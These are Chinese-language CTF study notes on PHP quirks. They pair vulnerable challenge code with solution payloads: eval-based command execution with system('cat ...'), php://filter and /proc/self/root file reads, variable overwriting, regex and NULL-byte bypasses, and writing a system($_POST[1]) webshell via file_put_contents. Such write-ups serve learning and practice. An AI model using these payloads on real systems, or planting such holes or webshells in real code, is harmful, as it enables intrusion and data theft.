PHP特性

杂记

题目

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 

如果该对象的类中没有toString方法,直接echo该对象会报错,如果类中有toString方法,则会触发__toString方法而不报错。

所以这题只需要找到一个含有toString方法的内置类即可

payload

?v1=Exception&v2=system('cat fl36dg.txt')

或者

?v1=Reflectionclass&v2=system('cat fl36dg.txt')

最后,再对v2后面的括号进行解释,如v2=system(ls),$v2()会把$v2返回的值会作为函数名去调用,但是调用失败了。

只要变量后面紧跟着(),那么对这个变量进行函数调用。

如可以让返回值是phpinfo,就可以调用phpinfo()。

题目

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

限制了部分伪协议,但是php://filter还可以用,可以不用过滤器直接读取。
同时if判断要求file不能为文件,可以用包装器伪协议来绕过。

伪协议不影响file_get_contents,和highlight_file。

所以构造payload:?file=php://filter/resource=flag.php

题目

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

这次限制了filter,但可以用封装协议。
payload1?file=compress.zlib://flag.php

image-20230305211235166

payload2:目录溢出导致is_file认为这不是一个文件。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。

题目

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

写个脚本

<?php

for($i=0;$i<=128;$i++){
    $str=chr($i)."36";
    if(is_numeric($str)&& trim($str)!=='1'){
        echo urlencode(chr($i))."<br>";
    }
}

最后可以根据生成的结果构造payload:?num=%0C36

题目

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为下划线_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

所以构造payload:fun=echo $flag&CTF_SHOW=&CTF[SHOW.COM=

或者:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $GLOBALS[flag]

FilesystemIterator class

FilesystemIterator文件系统迭代器在PHP5.3新加入,继承自DirectoryIterator,可以通过传入路径得到索引该目录下所有文件的迭代器

题目

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

} 

getcwd()方法用于返回当前路径

通过新建FilesystemIterator,可以显示当前目录下的文件结构。由于参数内部有个括号,所以不能使用字符串来索引路径,而是要通过拼接方法getcwd()来获取当前的路径

即payload:?v1=FilesystemIterator&v2=getcwd

当新建FilesystemIterator并传入路径时,会返回路径下的文件系统结构,可以通过echo显示,且error_reporting(0)的存在阻止了报错

DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类

strpos()函数

函数查找字符串在另一字符串中第一次出现的位置(区分大小写)

格式 strpos(string,find,start)

​ string是必须的为搜索的字符串

​ find是必须的,规定要查找的字符串

​ start是可选的,规定起始位置

返回值 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。

stripos()

返回字符串首次出现的位置,不区分大小写

extract()

说明

extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int

本函数用来将变量从数组中导入到当前的符号表中。

检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。

警告

不要对不可信的数据使用 extract(),类似用户输入 (例如 $_GET$_FILES)。

array

一个关联数组。此函数会将键名当作变量名,值作为变量的值。 对每个键/值对都会在当前的符号表中建立变量,并受到 flagsprefix 参数的影响。

必须使用关联数组,数字索引的数组将不会产生结果,除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID

flags

对待非法/数字和冲突的键名的方法将根据取出标记 flags 参数决定。可以是以下值之一:

  • EXTR_OVERWRITE

    如果有冲突,覆盖已有的变量。

  • EXTR_SKIP

    如果有冲突,不覆盖已有的变量。

  • EXTR_PREFIX_SAME

    如果有冲突,在变量名前加上前缀 prefix

  • EXTR_PREFIX_ALL

    给所有变量名加上前缀 prefix

  • EXTR_PREFIX_INVALID

    仅在非法/数字的变量名前加上前缀 prefix

  • EXTR_IF_EXISTS

    仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 举个例子,以下情况非常有用:定义一些有效变量,然后从 $_REQUEST 中仅导入这些已定义的变量。

  • EXTR_PREFIX_IF_EXISTS

    仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。

  • EXTR_REFS

    将变量作为引用提取。这有力地表明了导入的变量仍然引用了 array 参数的值。可以单独使用这个标志或者在 flags 中用 OR 与其它任何标志结合使用。

如果没有指定 flags,则被假定为 EXTR_OVERWRITE

prefix

注意 prefix 仅在 flags 的值是 EXTR_PREFIX_SAMEEXTR_PREFIX_ALLEXTR_PREFIX_INVALIDEXTR_PREFIX_IF_EXISTS 时需要。 如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线。

当某一个参数不可用时,可以使用extract来构造payload

题目

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

构造payload如下:CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me

或者

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

parse_str()

parse_str() 函数把查询字符串解析到变量中。

参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。
<?
php
parse_str("id=23&name=John%20Adams",$myArray);
print_r($myArray);
?>

输出:

Array ( [id] => 23 [name] => John Adams )

题目

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

paylaod:GET: ?v3=240610708 POST: v1=flag=0

ereg()

ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的。可选的输入参数regs包含由正则表达式中的括号组成的所有匹配表达式的数组

语法int ereg(string pattern, string string, [array regs]);

本函数以 pattern 的规则来解析比对字符串 string。比对结果返回的值放在数组参数 regs 之中,regs[0] 内容就是原字符串 string、regs[1] 为第一个合乎规则的字符串、regs[2] 就是第二个合乎规则的字符串,余类推。若省略参数 regs,则只是单纯地比对,找到则返回值为 true。

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则

题目

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
} 

ereg ("^[a-zA-Z]+$", $_GET[‘c’])===FALSE

这一行是这段代码比较复杂的一段,要注意比较的顺序,之前先认为c和FALSE比较就做不下去

应该是先ereg ("^[a-zA-Z]+$", $_GET[‘c’])再比较FALSE

结合ereg()函数用法,搜索不到指定字符串就会返回FALSE

if 语句是要TRUE才能执行

FALSE===FALSE

if语句才会是TRUE

如果要让 if 语句不执行,就要让ereg()函数返回TRUE,所以要让c中有字母,但应该不能出现其他东西

intval(strrev($_GET[‘c’]))==0x36d

intval()函数中要877,转化成16进制就是36d

strrev()函数会颠倒顺序,所以c中真实数字要是778

结合第一个函数只能传字母,但有%00截断漏洞

intval()函数只取整数值进行转换

就用字母+%00+数字

payload = ?c=a%00778

strrev()反转字符串函数

reg = ^[a-zA-Z]+$

^和$分别代表字符串的开始和结束[A-Za-z]表示可以是大写A-Z和小写a-z的任意字母
+代表它们出现次数的范围+表示1到多次*代表0到多次?代表0或1次
这个正则表达式的完整意思就是
必须完全由大小写字母组成,长度不限。

hex2bin()

函数把十六进制值转换为 ASCII 字符

foreach()

foreach()循环只适用于数组,并用于遍历数组中的每一个键/值对

语法

foreach ($array as $value) {
  code to be executed;
}

每进行一次循环迭代,当前数组元素的值就会被赋值给 $value 变量,并且数组指针会逐一地移动,直到到达最后一个数组元素。

实例

<?php
$colors = array("red", "green", "blue", "yellow");

foreach ($colors as $value) {
  echo "$value <br>";
}
?>
/*
red
green
blue
yellow
*/
<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");

foreach($age as $x => $val) {
  echo "$x = $val<br>";
}
?>
/*
Peter = 35
Ben = 37
Joe = 43
*/

intval()

语法

intval (var, base)

数intval如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。

preg_match函数表示运用正则来使用匹配函数。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer(整数) 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

因为这里的主要是因为preg_match函数无法处理数组【这是他的一个漏洞,所以我们构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。】

参数描述
var 必须。可以是任何标量类型。 intval() 不能用于数组 或 对象(类)。
base    可选。转化所使用的进制,默认10进制;
        如果 base 是 0,通过检测 var 参数的格式来决定使用的进制:
        如果字符串以 “0” 开始,使用 8 进制;
        其他使用 10 进制
echo intval("0x1a", 0), "\n"; // 使用16进制。 结果 "26" 
echo intval("057", 0), "\n"; // 使用8进制。 结果 "47" 
echo intval("57"),"\n"; // 使用10进制。结果57
echo intval("42", 0), "\n"; //  结果 "42" 

题目

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 ,还可以构造十六进制绕过,第一个识别为字符串值为0,第二个匹配字符串的格式识别为十六进制数值

遇到过滤字母的可以构造八进制数值绕过

二进制0bxxx
八进制0xxxxxx
十六进制0xaaaa

题目

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

过滤了字母,同时对传入的参数进行了查找,找字符0,所以可以构造一个浮点数来绕过

4476.01,有0是为了在strpos这个地方返回值不为false来绕过

这样通过intval()函数就可以变为int类型的4476

如果同时过滤了小数点可以构造+010574来绕过

highlight_file

题目

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

} 

在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

php变量覆盖

$$key = $$value

如果$key = "a";

$value = "b";

执行完第一条语句之后会变成

$a = $b

题目

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 

payload:GET: ?suces=flag POST: error=suces

php模式修饰符(过滤) preg_match()

PHP模式修饰符又叫模式修正符,是在正则表达式的定界符之外使用。主要用来调整正则表达式的解释,提扩展了正则表达式在匹配、替换等操作的某些功能,增强了正则的能力。

模式修正符号 功能描述
i 在和正则匹配是不区分大小写
m 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。
s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。
x 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。
e 只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串。
A 如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说”/a/A”匹配”abcd”。
D 模式中的$字符权匹配目标字符的结尾。没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前。如果设定了修正符m则忽略此项。
E 与”m”相反,如果使用这个修饰符,那么”$”将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。
U 贪婪模式,和问号的作用差不多,最大限度的匹配就是贪婪模式。

题目

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

只需要在传入的参数中加入换行符即可绕过匹配

payload:?num=123%0aphp

?num=123%0aphp
第一次匹配的时候会变成
^123$^php$
将目标字符串变成两行,可以过第一个if
第二次匹配只匹配123
即可绕过php检测

正则匹配溢出

大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

题目

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 
#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK

rand()

rand() 函数生成随机整数。

提示:如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。

提示:mt_rand() 函数是产生随机值的更好选择,返回结果的速度是 rand() 函数的 4 倍。

var_dump() 函数

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

void var_dump ( mixed $expression [, mixed $... ] )

$expression: 你要输出的变量。

没有返回值

题目

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?> 

构造payload ?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组

说明

get_defined_vars(): array

此函数返回多维数组。包含调用 get_defined_vars() 作用域内所有已定义的变量、环境变量、服务器变量、用户定义变量列表。没有参数

超全局变量$GLOBALS

题目

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
} 

这里让v1 = ctfshow可以执行到getFlag函数

getFlag函数内部执行看了变量覆盖,导致$ctfshow的值变为$v2的值做的变量

所以可以让v2 为GLOBALS,从而在var_dump的时候输出所有的变量值

构造payload : ?v1=ctfshow&v2=GLOBALS

$_SERVER预定义服务器变量

$_SERVER['PHP_SELF'] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER['argv'] #传递给该脚本的参数。
$_SERVER['argc'] #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。
$_SERVER['GATEWAY_INTERFACE'] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。
$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
$_SERVER['SERVER_SOFTWARE'] #服务器标识的字串,在响应请求时的头部中给出。
$_SERVER['SERVER_PROTOCOL'] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
$_SERVER['REQUEST_METHOD'] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。
$_SERVER['QUERY_STRING'] #查询(query)的字符串。获取的查询语句是服务端还没url解码的
$_SERVER['DOCUMENT_ROOT'] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER['HTTP_ACCEPT'] #当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。
$_SERVER['HTTP_ACCEPT_ENCODING'] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。
$_SERVER['HTTP_ACCEPT_LANGUAGE']#当前请求的 Accept-Language: 头部的内容。例如:“en”。
$_SERVER['HTTP_CONNECTION'] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User-Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口。
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['REQUEST_URI'] #访问此页面所需的 URI。例如,“/index.html”。

Reflection反射类

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

可以理解为对现有类起了一个别名,可以对现有类的方法进行调用

ReflectionClass implements Reflector {
    /* 常量 */
    const integer IS_IMPLICIT_ABSTRACT = 16 ;
    const integer IS_EXPLICIT_ABSTRACT = 32 ;
    const integer IS_FINAL = 64 ;
    /* 属性 */
    public $name ;
    /* 方法 */
    public __construct ( mixed $argument )
    public static export ( mixed $argument [, bool $return = false ] ) : string
    public getConstant ( string $name ) : mixed
    public getConstants ( ) : array
    public getConstructor ( ) : ReflectionMethod
    public getDefaultProperties ( ) : array
    public getDocComment ( ) : string
    public getEndLine ( ) : int
    public getExtension ( ) : ReflectionExtension
    public getExtensionName ( ) : string
    public getFileName ( ) : string
    public getInterfaceNames ( ) : array
    public getInterfaces ( ) : array
    public getMethod ( string $name ) : ReflectionMethod
    public getMethods ([ int $filter ] ) : array
    public getModifiers ( ) : int
    public getName ( ) : string
    public getNamespaceName ( ) : string
    public getParentClass ( ) : ReflectionClass
    public getProperties ([ int $filter ] ) : array
    public getProperty ( string $name ) : ReflectionProperty
    public getReflectionConstant ( string $name ) : ReflectionClassConstant|false
    public getReflectionConstants ( ) : array
    public getShortName ( ) : string
    public getStartLine ( ) : int
    public getStaticProperties ( ) : array
    public getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
    public getTraitAliases ( ) : array
    public getTraitNames ( ) : array
    public getTraits ( ) : array
    public hasConstant ( string $name ) : bool
    public hasMethod ( string $name ) : bool
    public hasProperty ( string $name ) : bool
    public implementsInterface ( string $interface ) : bool
    public inNamespace ( ) : bool
    public isAbstract ( ) : bool
    public isAnonymous ( ) : bool
    public isCloneable ( ) : bool
    public isFinal ( ) : bool
    public isInstance ( object $object ) : bool
    public isInstantiable ( ) : bool
    public isInterface ( ) : bool
    public isInternal ( ) : bool
    public isIterable ( ) : bool
    public isIterateable ( ) : bool
    public isSubclassOf ( string $class ) : bool
    public isTrait ( ) : bool
    public isUserDefined ( ) : bool
    public newInstance ( mixed $args [, mixed $... ] ) : object
    public newInstanceArgs ([ array $args ] ) : object
    public newInstanceWithoutConstructor ( ) : object
    public setStaticPropertyValue ( string $name , string $value ) : void
    public __toString ( ) : string
}
<?php
class my{
    public $a=123;
    public $b=456;
}

$m = new my();

echo new ReflectionClass("my");

输出

Class [ <user> class my ] {
  @@ D:\php\1.php 2-5

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [2] {
    Property [ public $a = 123 ]
    Property [ public $b = 456 ]
  }

  - Methods [0] {
  }
}

题目

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?> 

构造payload: ?v1=1&v2=echo new Reflectionclass&v3=;

is_numeric()

is_numeric — 检测变量是否为数字或数字字符串,bool is_numeric ( mixed $var )。如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。[1](PHP中用法)

sub_str()

substr() 函数返回字符串的一部分。

语法

substr(string,start,length)

参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 – 在字符串的指定位置开始 负数 – 在从字符串结尾开始的指定位置开始 0 – 在字符串中的第一个字符处开始
length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 – 从 start 参数所在的位置返回的长度负数 – 从字符串末端返回的长度

call_user_func

该函数被调用。类方法也可以使用静态调用传递数组array($classname, $methodname) 这个参数此功能。另外一个对象的实例可以被称为类方法通过传递数组array($objectinstance, $methodname) 这个参数

call_user_func函数类似于一种特别的调用函数的方法,使用方法如下:
function a($b,$c){
    echo $b;
    echo $c;
}
call_user_func('a', "111","222");
call_user_func('a', "333","444");
//显示 111 222 333 444
?>

调用类内部的方法比较奇怪,居然用的是array,不知道开发者是如何考虑的,当然省去了new,也是满有新意的:
class a {
function b($c){
    echo $c;
    }
}
call_user_func(array("a", "b"),"111");
//显示 111
?>

call_user_func_array函数和call_user_func很相似,只不过是换了一种方式传递了参数,让参数的结构更清晰:
function a($b, $c){
    echo $b;
    echo $c;
}
call_user_func_array('a', array("111", "222"));
//显示 111 222
?>

题目

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?> 

payload

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问2.php后查看源代码获得flag

v2要纯数字,v3不限

根据 $s = substr($v2,2);

v2的前两个数字会被删去

代码分析可知:输出值和v1有关,v3应该传伪协议

但是在什么都不知道的情况下伪协议不好用

真正可以执行操作的应该是v2 ,它应该达到<?=cat *; 的作用

要进行编码转化

base64转化再转化成16进制(不知道直接转化成16进制行不行,不会操作)

PD89YGNhdCAqYDs=

5044383959474e6864434171594473 (这里会把e当作科学计数法)

v2=115044383959474e6864434171594473

file_put_contents()

语法

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH FILE_APPEND LOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

规则

  1. 如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 filename 副本的内置路径
  2. 如果文件不存在,将创建一个文件
  3. 打开文件
  4. 如果设置了 LOCK_EX,那么将锁定文件
  5. 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
  6. 向文件中写入数据
  7. 关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

in_array()

PHP有一个系统函数is_array()可以判断一个值是否在数组中。

语法如下:in_array(value,array,type)

return boolen

参数说明:

value :要搜索的值

array : 被搜索的数组

type : 类型,true全等 ,false非全等(默认)

题目

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

payload: get : ?n=1.php post:content=<?php system($_POST[1]);?>

md5

md5()不能处理数组 md5() 函数不能处理数组,数组都返回 null,md5(a[]) 结果为 null

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

所以可以构造数组进行绕过

payload:a[]=1&b[]=2

sha1

以下串在sha1加密后以0E开头,并且后面均为纯数字
aaroZmOk
aaK1STfY

同样的sha1对数组不敏感,可以使用数组绕过
sha1强比较

